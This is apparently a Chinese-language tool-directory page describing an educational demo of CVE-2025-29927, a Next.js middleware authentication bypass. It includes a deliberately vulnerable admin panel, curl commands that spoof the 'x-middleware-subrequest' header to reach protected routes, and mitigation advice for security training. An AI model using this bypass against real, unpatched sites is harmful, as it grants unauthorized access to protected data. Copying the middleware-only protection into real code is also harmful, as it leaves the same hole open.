Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2025-29927-nextjs — Educational demo of CVE-2025-29927, a critical Next.js middleware authentication bypass. Includes a vulnerable admin panel, proof-of-concept exploit commands, and mitigation guidance for security training. | Kitploit
工具/GitHubGitHub/gitgudkrish/cve-2025-29927-nextjs
漏洞分析Web应用程序漏洞利用Web安全渗透测试身份验证学习与教育
GitHubgitgudkrish/cve-2025-29927-nextjs

cve-2025-29927-nextjs

Educational demo of CVE-2025-29927, a critical Next.js middleware authentication bypass. Includes a vulnerable admin panel, proof-of-concept exploit commands, and mitigation guidance for security training.

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
3个月前尚未审核

Himalaya Tech 管理员面板 — CVE-2025-29927 演示

警告:此应用程序故意存在漏洞。仅用于教育和授权的安全研究目的。请勿部署到公共服务器。


关于本演示

此应用程序演示了 CVE-2025-29927,这是 Next.js 中间件中的一个关键身份验证绕过漏洞(CVSS 9.1)。该应用程序模拟了一个虚构公司 "Himalaya Tech Pvt. Ltd." 的真实企业级管理员面板,使绕过的影响在视觉上更具说服力。

所有显示的员工记录、API 密钥、数据库凭据以及其他“敏感”数据 完全是虚构和模拟的 —— 仅用于教育演示目的。


CVE-2025-29927 — 漏洞摘要

字段详情
CVE IDCVE-2025-29927
严重性严重(CVSS 9.1)
影响版本Next.js ≤ 14.2.29, Next.js ≤ 15.2.2
修复版本Next.js 14.2.30, 15.2.3
类型通过 HTTP 头部操作绕过中间件身份验证

根本原因

Next.js 使用内部 HTTP 头部 x-middleware-subrequest 来跟踪递归中间件调用并防止无限循环。在受影响版本中,攻击者可以在外部请求中 伪造此头部。当该头部存在且匹配中间件的标识符时,Next.js 运行时会 完全跳过中间件,包括其中定义的所有身份验证逻辑。

影响

任何仅依赖 middleware.ts 保护路由的应用程序(一种常见且推荐的 Next.js 模式)都存在漏洞。未经身份验证的攻击者只需添加一个 HTTP 头部即可访问任何受保护页面。


漏洞利用验证

正常请求(被阻止 — 重定向到 /login)

root@kitploit:~
curl -v http://localhost:3000/admin
# → 307 重定向到 /login

绕过请求(成功 — 返回完整管理页面)

root@kitploit:~
curl -v \
  -H "x-middleware-subrequest: middleware" \
  http://localhost:3000/admin

# → 200 OK — 返回完整管理仪表板 HTML,无需身份验证

访问嵌套的受保护路由

root@kitploit:~
# 管理员用户页面
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users

# 系统设置(含“生产凭据”)
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings

使用浏览器(通过 Burp Suite / 浏览器扩展)

向任何对 /admin/* 的请求添加请求头 x-middleware-subrequest: middleware,中间件检查将被跳过。


为什么此应用程序存在漏洞

middleware.ts 是 唯一的 保护机制:

root@kitploit:~
// middleware.ts
export function middleware(request: NextRequest) {
  if (pathname.startsWith("/admin")) {
    const token = request.cookies.get("auth-token")?.value;
    if (!token || token !== "valid-session-xyz123") {
      return NextResponse.redirect(loginUrl); // ← 整个函数被跳过
    }
  }
  return NextResponse.next();
}

页面组件本身(例如 app/admin/page.tsx)不包含任何身份验证检查 —— 这是故意设计的,以模拟遵循仅中间件保护模式的真实世界应用程序。


安装与运行

前提条件

  • Node.js 18+
  • npm 或 yarn

安装

root@kitploit:~
npm install

运行开发服务器

root@kitploit:~
npm run dev

应用程序将在 http://localhost:3000 可用。

路由

*仅通过中间件保护 — CVE-2025-29927 可绕过。

演示凭据(正常登录流程)

  • 邮箱:[email protected]
  • 密码:Admin@2024

缓解措施

  1. 升级 Next.js 至 14.2.30+ 或 15.2.3+。
  2. 纵深防御:在页面组件/路由处理程序内部添加服务器端身份验证检查,而不仅限于中间件。中间件应被视为 UX 优化,而非安全边界。
  3. 在反向代理/CDN 处剥离该头部,再让请求到达 Next.js。

免责声明

此应用程序仅供 教育目的 使用,特别用于在道德安全课程环境中展示 CVE-2025-29927 的真实影响。所有数据(员工记录、API 密钥、凭据)完全是虚构的。请勿将此演示应用程序或此处演示的技术用于非您拥有或未获明确许可测试的系统。

下载工具
路由需要身份验证描述
/否公共登录页
/login否登录表单
/admin是*包含敏感数据的管理仪表板
/admin/users是*用户管理
/admin/settings是*系统设置与凭据